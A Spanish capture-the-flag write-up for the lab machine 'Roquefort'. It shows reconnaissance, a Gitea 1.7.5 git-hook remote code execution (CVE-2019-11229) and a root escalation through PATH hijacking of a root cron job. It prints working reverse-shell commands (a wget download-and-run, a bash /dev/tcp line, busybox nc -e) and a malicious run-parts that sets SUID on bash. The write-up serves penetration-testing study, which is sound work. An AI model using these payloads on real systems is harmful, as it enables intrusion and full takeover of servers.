Roquefort
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Roquefort corre Gitea v1.7.5 en el 3000. Registramos una cuenta y abusamos de los git hooks: un hookpost-receivemalicioso ejecuta comandos al hacerpush(RCE por git hook de Gitea, CVE-2019-11229), dándonos shell comochloe. Un cron de root ejecutarun-partscon/usr/local/bin(escribible) por delante en elPATH, así que dejamos ahí unrun-partsfalso que pone el bit SUID abash(secuestro de PATH) ybash -pnos da root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Cuatro puertos:
ping -c 1 192.168.230.67
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.230.67PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
2222/tcp open ssh
3000/tcp open httpnmap -p21,22,2222,3000 -sCV 192.168.230.67 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
2222/tcp open ssh Dropbear sshd 2016.74 (protocol 2.0)
3000/tcp open http Gitea: Git with a cup of teaEl 2222 es un Dropbear (SSH del propio Gitea para operaciones git). El vector web está en el 3000.
Gitea - TCP 3000
El puerto 3000 sirve Gitea v1.7.5. searchsploit la marca vulnerable a una RCE autenticada:

searchsploit gitea 1.7.5Gitea 1.7.5 - Remote Code Execution | multiple/webapps/49383.py (CVE-2019-11229)Explotación
CVE-2019-11229: RCE por git hook
Gitea permite a un usuario autenticado definir git hooks en sus repositorios. Un hook post-receive es un script que el servidor ejecuta tras recibir un push, con los privilegios del proceso de Gitea; si inyectamos ahí un comando, tenemos RCE (RCE por git hook de Gitea). Como el ataque es autenticado, primero nos registramos (test/test123), que Gitea permite libremente:

El exploit 49383.py automatiza el resto (crea el repositorio, inyecta el hook y dispara un push). El comando descarga y ejecuta nuestra reverse shell:
searchsploit -m multiple/webapps/49383.py
# En 49383.py: USERNAME=test PASSWORD=test123
# CMD='wget http://192.168.45.211:21/shell.sh && bash shell.sh'
python3 49383.pyAntes de disparar la shell, dejamos Penelope a la escucha en el puerto 2222:
penelope 2222cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.211/2222 0>&1
(Penelope)> listeners add -p 2222
[+] Got reverse shell from roquefort~192.168.230.67-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
chloe@roquefort:~/gitea-repositories/test/gobrmbqr.git$ whoami
chloeEl push dispara el hook, el exploit recibe la conexión y Penelope la promociona a PTY: la shell corre como chloe, la cuenta que ejecuta Gitea.
Alternativa manual
El exploit no es imprescindible: la misma RCE se consigue a mano, y así se ve exactamente qué hace. Con la cuenta test ya creada, en la web creamos un repositorio (también test):

En local inicializamos un repo con un primer commit:
mkdir test && cd test
touch README.md
git init
git add README.md
git commit -m "first commit"
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:Y lo apuntamos al repositorio remoto de Gitea:
git remote add origin http://192.168.230.67:3000/test/test.git
La pieza clave está en Settings → Git Hooks: Gitea deja editar el hook post-receive desde la web:

Le pegamos una reverse shell y pulsamos Update Hook:
#!/bin/bash
busybox nc 192.168.45.211 2222 -e bash
test / test Settings
Repository | Collaborators | Webhooks | Git Hooks | Deploy Keys
Git Hooks
If the hook is inactive, sample content will be presented. Leaving content to an empty value will disable this hook.
Hook Name post-receive
Hook Content
#!/bin/bash
busybox nc 192.168.45.211 2222 -e bash
[ Update Hook ]Al hacer push, el servidor ejecuta el hook y cae la reverse shell como chloe:
git push -u origin master
Username for 'http://192.168.230.67:3000': test
Password for 'http://test@192.168.230.67:3000':
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 205 bytes | 205.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
(Penelope)> listeners add -p 2222
[+] Listening for reverse shells on 0.0.0.0:2222
[+] Got reverse shell from roquefort~192.168.230.67-Linux-x86_64 Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
chloe@roquefort:~/gitea-repositories/test/test.git$ whoami
chloeLocal
cat local.txt && whoami && ip a && hostname
35c5e23451938907cea2837617c301d5
chloeEscalada de privilegios
Secuestro de PATH en run-parts
Dos comprobaciones a mano dan la escalada: el PATH del cron de root y los permisos de sus carpetas.
cat /etc/crontab
ls -ld /usr/local/binEl PATH del cron incluye /usr/local/bin por delante de /bin, y esa carpeta es escribible por nuestro usuario. Las tareas de cron lanzan run-parts sin ruta absoluta (cd / && run-parts --report /etc/cron.hourly). linpeas (repo) resume ambos detalles en su salida:

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*/5 * * * * root cd / && run-parts --report /etc/cron.hourlyLos dos detalles que confirman el vector: /usr/local/bin aparece en el PATH del cron (por delante de /sbin y /bin) y las tareas invocan run-parts sin ruta absoluta.
Como root resuelve run-parts recorriendo el PATH y /usr/local/bin va primero, un binario nuestro con ese nombre se ejecuta antes que el legítimo (secuestro de PATH). Dejamos ahí un run-parts que ponga el bit SUID a bash; cuando salte el cron (cada hora), bash quedará SUID root y bash -p (que conserva el UID efectivo) abre una shell de root:
# /usr/local/bin/run-parts
#!/bin/bash
chmod u+s /bin/bashls -l /bin/bash
bash -p
chloe@roquefort:/usr/local/bin$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
chloe@roquefort:/usr/local/bin$ bash -p
bash-4.4# whoami
rootEn cuanto salta el cron horario, nuestro run-parts se ejecuta como root: /bin/bash pasa a -rwsr-xr-x (SUID root) y bash -p conserva el UID efectivo 0, dándonos una shell de root.
Root
cat /root/proof.txt && whoami && ip a && hostname
0434132802ca205b00e7951cd691b35a
rootCadena de ataque
HTTP (3000) -- Gitea v1.7.5
│ registrar cuenta -> CVE-2019-11229: git hook post-receive
│ push -> RCE -> reverse shell
▼
chloe (local.txt)
│ cron root ejecuta run-parts (sin ruta) con /usr/local/bin escribible
│ run-parts falso -> chmod u+s /bin/bash -> bash -p
▼
root (proof.txt)Lecciones aprendidas
- Los git hooks son ejecución de código por diseño. Gitea 1.7.5 dejaba a un usuario normal definir un
post-receive, y ese script corre en el servidor. Restringir quién puede editar hooks es tan crítico como cualquier permiso de escritura. - Un binario sin ruta absoluta en un cron de root es un regalo.
run-partsse resolvía porPATH, y con/usr/local/binescribible y prioritario, el secuestro fue inmediato. Los scripts de root deben invocar rutas absolutas. /usr/local/binescribible rompe el sistema. Va por delante de/binen casi cualquierPATH; poder escribir ahí permite suplantar binarios estándar. Sus permisos deben ser tan estrictos como los de/bin.